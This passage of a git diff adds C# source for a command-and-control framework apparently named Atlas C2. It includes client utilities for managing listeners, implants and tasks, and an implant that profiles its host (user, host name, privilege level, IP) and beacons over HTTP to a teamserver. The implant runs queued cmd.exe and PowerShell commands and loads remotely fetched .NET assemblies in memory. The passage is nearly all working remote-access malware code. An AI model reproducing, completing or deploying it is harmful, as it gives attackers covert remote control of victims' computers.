JSON.Classes.TaskRecvOut taskData { get; set; } + + public override string UtilName => "TasksOut"; + + public override string Desc => "Return all tasks for given implant"; + + public override string UtilExecute(string[] opts) + { + try + { + StringBuilder _out = new StringBuilder(); + + var tasks = Comms.comms.SendGET($"{TeamServerAddr}/Implants/{CurrentImplant}/tasks").TrimStart('[').TrimEnd(']'); + if (tasks.Length == 0) { throw new AtlasException("[*] No tasks to view\n"); } + + if (tasks.Contains("},{")) { tasks = tasks.Replace("},{", "}&{"); } + + var taskList = tasks.Split('&'); + + foreach (var _task in taskList) + { + taskData = JsonConvert.DeserializeObject(_task); + _out.AppendLine($"{taskData.Id} {TaskName}"); + } + + return _out.ToString(); + + } catch (AtlasException e) { return e.Message; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established or no implant currently set\n"; } + + } + } +} diff --git a/Client/Utils/ImplantUtils/ViewImplant.cs b/Client/Utils/ImplantUtils/ViewImplant.cs new file mode 100644 index 0000000..732d01e --- /dev/null +++ b/Client/Utils/ImplantUtils/ViewImplant.cs @@ -0,0 +1,45 @@ +using System.Text; + +using Newtonsoft.Json; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils.ImplantUtils +{ + class ViewImplant : Models.Util + { + public override string UtilName => "ViewImplant"; + + public override string Desc => "Returns all data from specified implant"; + + public override string UtilExecute(string[] opts) + { + try + { + if (CurrentImplant is null) { throw new AtlasException($"[-] No implant selected"); } + + StringBuilder _out = new StringBuilder(); + + var _implantJSON = Comms.comms.SendGET($"{TeamServerAddr}/implants/{CurrentImplant}").TrimStart('[').TrimEnd(']'); + var _implantData = JsonConvert.DeserializeObject(_implantJSON); + + _out.AppendLine($"{nameof(_implantData.data.id),-25} {_implantData.data.id}\n" + + $"{nameof(_implantData.data.user),-25} {_implantData.data.user}\n" + + $"{nameof(_implantData.data.hostName),-25} {_implantData.data.hostName}\n" + + $"{nameof(_implantData.data.integrity),-25} {_implantData.data.integrity}\n" + + $"{nameof(_implantData.data.arch),-25} {_implantData.data.arch}\n" + + $"{nameof(_implantData.data.procID),-25} {_implantData.data.procID}\n" + + $"{nameof(_implantData.data.procName),-25} {_implantData.data.procName}\n" + + $"{nameof(_implantData.data.IPAddr),-25} {_implantData.data.IPAddr}\n" + + $"{nameof(_implantData.lastSeen),-25} {_implantData.lastSeen}" + ); + + return _out.ToString(); + } catch (AtlasException e) { return e.Message; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/ListenerUtils/Listeners.cs b/Client/Utils/ListenerUtils/Listeners.cs new file mode 100644 index 0000000..5efbd16 --- /dev/null +++ b/Client/Utils/ListenerUtils/Listeners.cs @@ -0,0 +1,48 @@ +using System.Linq; +using System.Text; + +using Newtonsoft.Json; + +using Client.Models; + +using static Client.Models.Client; + +namespace Client.Utils +{ + class Listeners : Models.Util + { + private JSON.Classes.Listeners Listener { get; set; } + public override string UtilName => "Listeners"; + + public override string Desc => "list active listeners"; + + public override string UtilExecute(string[] opts) + { + try + { + StringBuilder _out = new StringBuilder(); + + var listeners = Comms.comms.SendGET($"{TeamServerAddr}/Listeners").TrimStart('[').TrimEnd(']'); + + if (listeners.Length == 0) { throw new AtlasException("[*] No active listeners"); } + + _out.AppendLine("Name"); + _out.AppendLine("----"); + + if (listeners.Contains("},{")) { listeners = listeners.Replace("},{", "}&{"); } + var listenersList = listeners.Split('&'); + + foreach (var listener in listenersList) { + Listener = JsonConvert.DeserializeObject(listener); + ListenerList.Add(Listener.Name); + _out.AppendLine(Listener.Name); } + + ListenerList = ListenerList.Distinct().ToList(); + return _out.ToString(); + + } catch (AtlasException e) { return $"{e.Message}\n"; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/ListenerUtils/RemoveListener.cs b/Client/Utils/ListenerUtils/RemoveListener.cs new file mode 100644 index 0000000..3bb5d91 --- /dev/null +++ b/Client/Utils/ListenerUtils/RemoveListener.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +using Client.Models; + +using static Client.Models.Client; +using static Client.Comms.comms; + +namespace Client.Utils +{ + class RemoveListener : Models.Util + { + private string ListenerName { get; set; } + public override string UtilName => "RemoveListener"; + + public override string Desc => "Remove a listener"; + + public override string UtilExecute(string[] opts) + { + try{ + StringBuilder _out = new StringBuilder(); + + if (opts is null) { throw new AtlasException($"[*] Usage: ViewListener [ListenerName]\n"); } + + ListenerName = opts[1]; + + var _listener = ListenerList.FirstOrDefault(listener => listener.Equals(ListenerName)); + if (_listener is null) { throw new AtlasException($"[-] Listener {ListenerName} does not exist\n"); } + + SendDELETE($"{TeamServerAddr}/Listeners?name={ListenerName}"); + _out.AppendLine($"[*] Removed listener {ListenerName}"); + + return _out.ToString(); + + } catch (AtlasException e) { return $"{e.Message}"; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/ListenerUtils/StartListener.cs b/Client/Utils/ListenerUtils/StartListener.cs new file mode 100644 index 0000000..3239773 --- /dev/null +++ b/Client/Utils/ListenerUtils/StartListener.cs @@ -0,0 +1,44 @@ +using System; +using System.Text; + + +using Client.Models; + +using static Client.Models.Client; +using static Client.Comms.comms; + +namespace Client.Utils +{ + class StartListener : Models.Util + { + private string ListenerName { get; set; } + private int ListenerPort { get; set; } + + public override string UtilName => "StartListener"; + + public override string Desc => "create a new listener"; + + public override string UtilExecute(string[] opts) + { + try + { + StringBuilder _out = new StringBuilder(); + + if (opts is null) { throw new AtlasException($"[*] Usage: StartListener [ListenerName] [ListenerPort]\n"); } + + ListenerName = opts[1]; + ListenerPort = Int32.Parse(opts[2]); + + if(ListenerPort < 0 && ListenerPort > 65535) { throw new AtlasException($"[-] ListenerPort must be a valid port"); } + + SendPOST($"{TeamServerAddr}/Listeners", JSONOps.PackStartListenerData(ListenerName, ListenerPort)); + _out.AppendLine($"[*] Started listener {ListenerName} running on port {ListenerPort}"); + + return _out.ToString(); + + } catch (AtlasException e) { return $"{e.Message}\n"; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/ListenerUtils/ViewListener.cs b/Client/Utils/ListenerUtils/ViewListener.cs new file mode 100644 index 0000000..31ce6b6 --- /dev/null +++ b/Client/Utils/ListenerUtils/ViewListener.cs @@ -0,0 +1,43 @@ +using System.Text; + +using Client.Models; + +using static Client.Models.Client; +using static Client.Comms.comms; +using Newtonsoft.Json; + +namespace Client.Utils +{ + class ViewListener : Models.Util + { + private string ListenerName { get; set; } + private JSON.Classes.ListenerData ListenerData { get; set; } + public override string UtilName => "ViewListener"; + + public override string Desc => "Return data of specified listener"; + + public override string UtilExecute(string[] opts) + { + try { + + StringBuilder _out = new StringBuilder(); + + if (opts is null) { throw new AtlasException($"[*] Usage: ViewListener [ListenerName]\n"); } + + ListenerName = opts[1]; + + var listener = SendGET($"{TeamServerAddr}/Listeners/{ListenerName}"); + ListenerData = JsonConvert.DeserializeObject(listener); + + _out.AppendLine($"{"Name",-25} {"Port",-25}"); + _out.AppendLine($"{"----",-25} {"----",-25}"); + _out.AppendLine($"{ListenerData.Name,-25} {ListenerData.bindPort, -25}"); + + return _out.ToString(); + + } catch (AtlasException e) { return $"{e.Message}\n"; } + catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; } + + } + } +} diff --git a/Client/Utils/TaskUtils/AssemMethodQuery.cs b/Client/Utils/TaskUtils/AssemMethodQuery.cs new file mode 100644 index 0000000..35cca79 --- /dev/null +++ b/Client/Utils/TaskUtils/AssemMethodQuery.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class AssemMethodQuery : Models.Task + { + public override string TaskName => "AssemMethodQuery"; + public override string Desc => "Returns all methods belonging to the specified assem name"; + public override List OptList { get; } = new List { assemName }; + } +} diff --git a/Client/Utils/TaskUtils/AssemQuery.cs b/Client/Utils/TaskUtils/AssemQuery.cs new file mode 100644 index 0000000..9160800 --- /dev/null +++ b/Client/Utils/TaskUtils/AssemQuery.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class AssemQuery : Models.Task + { + public override string TaskName => "AssemQuery"; + public override string Desc => "Return all assem type and methods in the implant process"; + public override List OptList { get; } = new List { }; + } +} diff --git a/Client/Utils/TaskUtils/CMDShell.cs b/Client/Utils/TaskUtils/CMDShell.cs new file mode 100644 index 0000000..468a1ec --- /dev/null +++ b/Client/Utils/TaskUtils/CMDShell.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class CMDShell : Models.Task + { + public override string TaskName => "CMDShell"; + public override string Desc => "Executes a command in the context of cmd.exe"; + public override List OptList { get; } = new List { command }; + } +} diff --git a/Client/Utils/TaskUtils/ExecuteAssem.cs b/Client/Utils/TaskUtils/ExecuteAssem.cs new file mode 100644 index 0000000..c71059f --- /dev/null +++ b/Client/Utils/TaskUtils/ExecuteAssem.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class ExecuteAssem : Models.Task + { + public override string TaskName => "ExecuteAssem"; + public override string Desc => "Execute a specifed assem type"; + public override List OptList { get; } = new List { assemType }; + } +} diff --git a/Client/Utils/TaskUtils/ExecuteAssemMethod.cs b/Client/Utils/TaskUtils/ExecuteAssemMethod.cs new file mode 100644 index 0000000..1759b9e --- /dev/null +++ b/Client/Utils/TaskUtils/ExecuteAssemMethod.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class ExecuteAssemMethod : Models.Task + { + public override string TaskName => "ExecuteAssemMethod"; + public override string Desc => "Executes specified method belonging to a loaded assem type"; + public override List OptList { get; } = new List { assemType, assemMethod }; + } +} diff --git a/Client/Utils/TaskUtils/Load.cs b/Client/Utils/TaskUtils/Load.cs new file mode 100644 index 0000000..e5c8eac --- /dev/null +++ b/Client/Utils/TaskUtils/Load.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class Load : Models.Task + { + public override string TaskName => "Load"; + public override string Desc => "Load an assembly into implant process"; + public override List OptList { get; } = new List { assemBytes }; + } +} diff --git a/Client/Utils/TaskUtils/PSLoad.cs b/Client/Utils/TaskUtils/PSLoad.cs new file mode 100644 index 0000000..b6c4b0b --- /dev/null +++ b/Client/Utils/TaskUtils/PSLoad.cs @@ -0,0 +1,15 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils.TaskUtils +{ + class PSLoad : Models.Task + { + public override string TaskName => "PSLoad"; + + public override string Desc => "Load a PowerShell file into the implant process"; + + public override List OptList { get; } = new List { psFile }; + } +} diff --git a/Client/Utils/TaskUtils/PSShell.cs b/Client/Utils/TaskUtils/PSShell.cs new file mode 100644 index 0000000..8a00517 --- /dev/null +++ b/Client/Utils/TaskUtils/PSShell.cs @@ -0,0 +1,13 @@ +using System.Collections.Generic; + +using static Client.Models.TaskOptions; + +namespace Client.Utils +{ + class PSShell : Models.Task + { + public override string TaskName => "PSShell"; + public override string Desc => "Execute a PS command using the PS DLLs"; + public override List OptList { get; } = new List { command, encode }; + } +} diff --git a/Client/Utils/Utils.cs b/Client/Utils/Utils.cs new file mode 100644 index 0000000..9c3f58a --- /dev/null +++ b/Client/Utils/Utils.cs @@ -0,0 +1,206 @@ +using System; +using System.Net; +using System.Threading; +using System.IO; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; + +using Newtonsoft.Json; + +using Client.JSON; +using Client.Models; + +using static System.Console; + +using static Client.Models.Client; + +namespace Client.Utils +{ + static class UI + { + + public static void Banner() + { + WriteLine( + @" _____ __ .__ _________ ________ " + "\n" + + @" / _ \ _/ |_ | | _____ ______ \_ ___ \ \_____ \ " + "\n" + + @" / /_\ \ \ __\| | \__ \ / ___/ / \ \/ / ____/ " + "\n" + + @"/ | \ | | | |__ / __ \_ \___ \ \ \____/ \ " + "\n" + + @"\____|__ / |__| |____/(____ //____ > \______ /\_______ \" + "\n" + + @" \/ \/ \/ \/ \/" + "\n" + + $"\tVer: {Ver} \n\tAuthor: Grimmie\n" + ); + } + + public static void Action(string input) { + try + { + String[] opts = null; + + if (_utils.Count == 0) { Init.UtilInit(); } + + Models.Util util = _utils.FirstOrDefault(u => u.UtilName.Equals(input.Split(' ')[0], StringComparison.InvariantCultureIgnoreCase)); + if (input is "") { WriteLine(); return; } + if (util is null) { WriteLine($"[-] Util {input} is invalid"); return; } + + if(input.Contains(' ')) { opts = input.Split(' '); } + + string _out = util.UtilExecute(opts); + + WriteLine(_out); + } catch (NotImplementedException) { WriteLine($"[-] Util {input} not yet implemented"); } + catch (Exception e) { WriteLine($"{e}"); } + + } + + public static void ViewOption(string option) { WriteLine($"{option}"); } + + } + + static class TaskOps + { + public static void VerifyFileExistence(string file){ if (!(File.Exists(file))) { throw new AtlasException($"[-] File does not exist"); } } + + public static void VerifyURL(string file) { + Uri url; + bool URLStatus = Uri.TryCreate(file, UriKind.Absolute, out url) && (url.Scheme == Uri.UriSchemeHttp || url.Scheme == Uri.UriSchemeHttps); + if(!URLStatus) { throw new AtlasException($"[-] Invalid URL detected "); } + } + + public static object GetPropertyValue(this object T, string PropName) { + return T.GetType().GetProperty(PropName) == null ? null : T.GetType().GetProperty(PropName).GetValue(T); + } + + public static void SetPropertyValue(this object T, string PropName, string PropVal) { + T.GetType().GetProperty(PropName).SetValue(T, PropVal); + } + + public static void SetPropertyValue(this object T, string PropName, byte[] PropVal){ + T.GetType().GetProperty(PropName).SetValue(T, PropVal); + } + + public static List ReturnMethod(){ + if (_opts.Count == 0) { Init.OptInit(); } + + Task task = _opts.FirstOrDefault(u => u.TaskName.Equals(TaskName, StringComparison.InvariantCultureIgnoreCase)); + if (task is null) { throw new AtlasException($"[-] A task must be selected to view task options\n"); } + + return task.OptList; + } + + public static void SmraatFetch(string fileAddr, int timeout, int retryCount) { + VerifyURL(fileAddr); + + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + WebClient client = new WebClient(); + int current_retry_count = retryCount; + WriteLine($"[*] Attempting to fetch {fileAddr}"); + + while (current_retry_count >= 0 && assemBytes == null) + { + try { + assemBytes = client.DownloadData(fileAddr); + if (Debug) { WriteLine($"[+] Fetched assem located at {fileAddr}"); } + } + catch (WebException) + { + if (current_retry_count == 0) { + throw new AtlasException($"[-] Failed to fetch {fileAddr} after {current_retry_count} attempts. Exiting..."); + } + + if (Debug) { WriteLine($"[-] Fetching {fileAddr} failed. Retrying in {timeout} seconds."); } + current_retry_count = current_retry_count - 1; + Thread.Sleep(timeout * 1000); + } + } + client.Dispose(); + } + + public static void SmraatFetch(string filePath) { + VerifyFileExistence(filePath); + + WriteLine($"Reading {filePath} and writing to assemByte"); + assemBytes = File.ReadAllBytes(filePath); + } + + public static string ByteArrTob64Str(){ + var assemStr = Convert.ToBase64String(assemBytes); + return assemStr; + } + } + + public static class JSONOps { + public static string PackTaskArgs(){ + var send = new Classes.ArgsData { Params = new List { } }; + + var options = TaskOps.ReturnMethod(); + + foreach (var opt in options) + { + send.Params.Add(new Classes.TaskArgs() + { + OptionName = opt.GetPropertyValue("Name").ToString(), + OptionValue = opt.GetPropertyValue("Value").ToString() + }); + } + + return JsonConvert.SerializeObject(send, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii }); + } + + public static string PackTaskData(string args = null){ + + var send = new Classes.TaskSend { Command = TaskName, Args = args }; + + if (!(assemBytes is null) && TaskName.ToLower() is "load") { + var assemStr = TaskOps.ByteArrTob64Str(); + send = null; + send = new Classes.TaskSend { Command = TaskName, Args = "", File = assemStr}; + } + + return JsonConvert.SerializeObject(send, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii }); + } + + public static Classes.TaskSendOut ReturnTaskID(string taskresp) { + return JsonConvert.DeserializeObject(taskresp); + } + + public static Classes.TaskRecvOut ReturnTaskData(string taskOut) { + return JsonConvert.DeserializeObject(taskOut); + } + + public static string PackStartListenerData(string name, int port) + { + var data = new Classes.StartListenerData { name = name, bindPort = port }; + + return JsonConvert.SerializeObject(data, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii }); + } + } + + static class Init + { + public static void OptInit() + { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (type.IsSubclassOf(typeof(Models.Task))) + { + Models.Task function = Activator.CreateInstance(type) as Models.Task; + _opts.Add(function); + } + } + } + + public static void UtilInit() + { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (type.IsSubclassOf(typeof(Models.Util))) + { + Models.Util function = Activator.CreateInstance(type) as Models.Util; + _utils.Add(function); + } + } + } + } +} diff --git a/Implant/App.config b/Implant/App.config new file mode 100644 index 0000000..4bfa005 --- /dev/null +++ b/Implant/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/Implant/Implant.csproj b/Implant/Implant.csproj new file mode 100644 index 0000000..7025bb8 --- /dev/null +++ b/Implant/Implant.csproj @@ -0,0 +1,96 @@ + + + + + Debug + AnyCPU + {6DE5ED01-804C-49BF-8F70-DF032CC6C189} + Exe + Implant + Implant + v4.8 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll + + + + + False + ..\..\..\..\..\..\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Implant/JSON/Classes.cs b/Implant/JSON/Classes.cs new file mode 100644 index 0000000..a7d6104 --- /dev/null +++ b/Implant/JSON/Classes.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Implant.JSON +{ + public class Classes + { + [Serializable] + public class TaskArgs + { + public string OptionName { get; set; } + public string OptionValue { get; set; } + } + + [Serializable] + public class ArgsRecv + { + public List Params { get; set; } + } + + } +} diff --git a/Implant/Models/Comms/Abstracts/Comms.cs b/Implant/Models/Comms/Abstracts/Comms.cs new file mode 100644 index 0000000..960edaf --- /dev/null +++ b/Implant/Models/Comms/Abstracts/Comms.cs @@ -0,0 +1,41 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Threading.Tasks; + +namespace Implant.Models +{ + public abstract class Comms + { + public abstract Task Start(); + public abstract void Stop(); + + protected ConcurrentQueue TaskInbound = new ConcurrentQueue(); + protected ConcurrentQueue TaskOut = new ConcurrentQueue(); + + protected ImplantData _implantData; + + public virtual void ImplantInit(ImplantData implantData) { _implantData = implantData; } + + protected IEnumerable GetTaskOut() { + var taskOut = new List(); + + while (TaskOut.TryDequeue(out var tasks)) { taskOut.Add(tasks); } + + return taskOut; + } + + public bool DataRecv(out IEnumerable tasks) { + if (TaskInbound.IsEmpty) { tasks = null; return false; } + + var taskList = new List(); + + while(TaskInbound.TryDequeue(out var task)) { taskList.Add(task); } + + tasks = taskList; + return true; + } + + public void DataSend(ImplantTaskOut taskOut) { TaskOut.Enqueue(taskOut); } + + } +} diff --git a/Implant/Models/Comms/HTTPComms.cs b/Implant/Models/Comms/HTTPComms.cs new file mode 100644 index 0000000..969bbc7 --- /dev/null +++ b/Implant/Models/Comms/HTTPComms.cs @@ -0,0 +1,75 @@ +using System; +using System.Linq; +using System.Net.Http; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +using static Implant.Utils.Extensions; + +namespace Implant.Models +{ + public class HTTPComms : Comms + { + + public string ConnAddr { get; set; } + public int ConnPort { get; set; } + public string Schema { get; set; } = "http"; + + private CancellationTokenSource _cancelToken; + private HttpClient _client; + + public HTTPComms(string connAddr, int connPort) { + ConnAddr = connAddr; + ConnPort = connPort; + } + + public override void ImplantInit(ImplantData implantData) { + base.ImplantInit(implantData); + + _client = new HttpClient(); + _client.BaseAddress = new Uri($"{Schema}://{ConnAddr}:{ConnPort}"); + _client.DefaultRequestHeaders.Clear(); + + var encData = Convert.ToBase64String(_implantData.Serialize()); + + _client.DefaultRequestHeaders.Add("Authorization", $"Bearer {encData}"); + } + + public async Task PollImplant() { + var resp = await _client.GetByteArrayAsync("/"); + HandleResp(resp); + } + + public void HandleResp(byte[] resp) { + var tasks = resp.Deserialize(); + + if(!(tasks is null) && tasks.Any()) { + foreach(var task in tasks) { TaskInbound.Enqueue(task); } + } + } + + private async Task PostData() { + var taskOut = GetTaskOut().Serialize(); + var HTTPContent = new StringContent(Encoding.UTF8.GetString(taskOut), Encoding.UTF8, "application/json"); + var resp = await _client.PostAsync("/", HTTPContent); + var respContent = await resp.Content.ReadAsByteArrayAsync(); + HandleResp(respContent); + } + + public override async Task Start() { + _cancelToken = new CancellationTokenSource(); + while (!_cancelToken.IsCancellationRequested) + { + if (!TaskOut.IsEmpty){ await PostData(); } + else { await PollImplant(); } + + // make this option customizable + await Task.Delay(1000); + } + } + + public override void Stop(){ _cancelToken.Cancel(); } + + } +} diff --git a/Implant/Models/Implant/Abstracts/ImplantCommands.cs b/Implant/Models/Implant/Abstracts/ImplantCommands.cs new file mode 100644 index 0000000..af8314e --- /dev/null +++ b/Implant/Models/Implant/Abstracts/ImplantCommands.cs @@ -0,0 +1,8 @@ +namespace Implant.Models +{ + public abstract class ImplantCommands + { + public abstract string Name { get; } + public abstract string Execute(ImplantTask task); + } +} diff --git a/Implant/Models/Implant/Abstracts/ImplantOptions.cs b/Implant/Models/Implant/Abstracts/ImplantOptions.cs new file mode 100644 index 0000000..4ad68f3 --- /dev/null +++ b/Implant/Models/Implant/Abstracts/ImplantOptions.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Generic; + +namespace Implant.Models +{ + public abstract class ImplantOptions + { + public abstract string TaskName { get; } + public abstract List Data { get; } + } +} diff --git a/Implant/Models/Implant/Data/ImplantTaskData.cs b/Implant/Models/Implant/Data/ImplantTaskData.cs new file mode 100644 index 0000000..89c773c --- /dev/null +++ b/Implant/Models/Implant/Data/ImplantTaskData.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Implant.Models +{ + public class ImplantTaskData + { + public static readonly List _opts = new List(); + } +} diff --git a/Implant/Models/Implant/Data/ImplantTaskOptions.cs b/Implant/Models/Implant/Data/ImplantTaskOptions.cs new file mode 100644 index 0000000..fb61af8 --- /dev/null +++ b/Implant/Models/Implant/Data/ImplantTaskOptions.cs @@ -0,0 +1,42 @@ +namespace Implant.Models +{ + public class ImplantTaskOptions + { + public static object command = new Command(); + public static object path = new Path(); + public static object assemPath = new AssemPath(); + public static object assemType = new AssemType(); + public static object assemMethod = new AssemMethod(); + + public class Command + { + public string Name { get; set; } = "command"; + public string Value { get; set; } = ""; + } + + public class Path + { + public string Name { get; set; } = "path"; + public string Value { get; set; } = ""; + } + + public class AssemPath + { + public string Name { get; set; } = "assemPath"; + public string Value { get; set; } = ""; + } + + public class AssemType + { + public string Name { get; set; } = "assemType"; + public string Value { get; set; } = ""; + } + + public class AssemMethod + { + public string Name { get; set; } = "assemMethod"; + public string Value { get; set; } = ""; + } + + } +} diff --git a/Implant/Models/Implant/ImplantData.cs b/Implant/Models/Implant/ImplantData.cs new file mode 100644 index 0000000..398542d --- /dev/null +++ b/Implant/Models/Implant/ImplantData.cs @@ -0,0 +1,14 @@ +namespace Implant.Models +{ + public class ImplantData + { + public string ID { get; set; } + public string HostName { get; set; } + public string User { get; set; } + public string ProcName { get; set; } + public int ProcID { get; set; } + public string Integrity { get; set; } + public string Arch { get; set; } + public string IPAddr { get; set; } + } +} diff --git a/Implant/Models/Implant/ImplantTask.cs b/Implant/Models/Implant/ImplantTask.cs new file mode 100644 index 0000000..26aa0d3 --- /dev/null +++ b/Implant/Models/Implant/ImplantTask.cs @@ -0,0 +1,20 @@ +using System.Runtime.Serialization; + +namespace Implant.Models +{ + [DataContract] + public class ImplantTask + { + [DataMember(Name = "id")] + public string Id { get; set; } + + [DataMember(Name = "command")] + public string Command { get; set; } + + [DataMember(Name = "args")] + public string Args { get; set; } + + [DataMember(Name = "file")] + public string File { get; set; } + } +} diff --git a/Implant/Models/Implant/ImplantTaskOut.cs b/Implant/Models/Implant/ImplantTaskOut.cs new file mode 100644 index 0000000..3f5cc7f --- /dev/null +++ b/Implant/Models/Implant/ImplantTaskOut.cs @@ -0,0 +1,8 @@ +namespace Implant.Models +{ + public class ImplantTaskOut + { + public string Id { get; set; } + public string TaskOut { get; set; } + } +} diff --git a/Implant/Program.cs b/Implant/Program.cs new file mode 100644 index 0000000..08060e5 --- /dev/null +++ b/Implant/Program.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Threading; + +using Implant.Models; +using Implant.Utils; + +namespace Implant +{ + class Program + { + private static ImplantData _implantData; + private static Comms _comms; + private static CancellationTokenSource _cancelToken; + + private static List _commands = new List(); + + //put into utils + public static void GenImplantData(){ + var proc = Process.GetCurrentProcess(); + + _implantData = new ImplantData { + // get DNS hostname + ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName, + User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(), + Arch = ImplantDataUtils.ReturnArch(), + ProcID = proc.Id, ProcName = proc.ProcessName, + IPAddr = ImplantDataUtils.GetHostIP() + }; + + proc.Dispose(); + } + + public static void SendTaskOut(string _id, string _out) { + var taskOut = new ImplantTaskOut { Id = _id, TaskOut = _out }; + _comms.DataSend(taskOut); + } + + public static void HandleTask(ImplantTask task) { + var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); + if (command is null) { return; } + + var _out = command.Execute(task); + SendTaskOut(task.Id, _out); + } + + public static void HandleTasks(IEnumerable tasks) { + foreach (var task in tasks) { HandleTask(task); } + } + + public static void ImplantCommandsInit() + { + foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) + { + if (type.IsSubclassOf(typeof(ImplantCommands))) + { + ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands; + _commands.Add(cmd); + } + } + } + + public void Stop() { _cancelToken.Cancel(); } + + static void Main(string[] args) { + + Thread.Sleep(10000); + + GenImplantData(); + ImplantCommandsInit(); + + _comms = new HTTPComms("localhost", 8080); + _comms.ImplantInit(_implantData); + _comms.Start(); + + _cancelToken = new CancellationTokenSource(); + + while (!_cancelToken.IsCancellationRequested) { + if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); } + } + } + + } +} diff --git a/Implant/Properties/AssemblyInfo.cs b/Implant/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..cd434a8 --- /dev/null +++ b/Implant/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Implant")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Implant")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("6de5ed01-804c-49bf-8f70-df032cc6c189")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Implant/Tasks/Execute/AssemMethodQuery.cs b/Implant/Tasks/Execute/AssemMethodQuery.cs new file mode 100644 index 0000000..0f2420a --- /dev/null +++ b/Implant/Tasks/Execute/AssemMethodQuery.cs @@ -0,0 +1,35 @@ +using Implant.Models; +using Implant.Utils; +using System.Text; + +namespace Implant.Tasks.Execute +{ + class AssemMethodQuery : ImplantCommands + { + private string assemName { get; set; } + + public override string Name => "AssemMethodQuery"; + + public override string Execute(ImplantTask task) + { + StringBuilder _out = new StringBuilder(); + + var opts = ImplantOptionUtils.ReturnMethod(task); + var args = ImplantOptionUtils.ParseArgs(task.Args); + + foreach (var opt in opts) + { + foreach (var _params in args.Params) + { + if ((_params.OptionName.ToLower() is "assemname") + && (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) { + assemName = _params.OptionValue; + } + } + } + + _out.AppendLine(LoadFunctions.returnAssemMethods(assemName)); + return _out.ToString(); + } + } +} diff --git a/Implant/Tasks/Execute/AssemQuery.cs b/Implant/Tasks/Execute/AssemQuery.cs new file mode 100644 index 0000000..2e2e926 --- /dev/null +++ b/Implant/Tasks/Execute/AssemQuery.cs @@ -0,0 +1,19 @@ +using System.Text; + +using Implant.Models; + +namespace Implant.Tasks.Execute +{ + class AssemQuery : 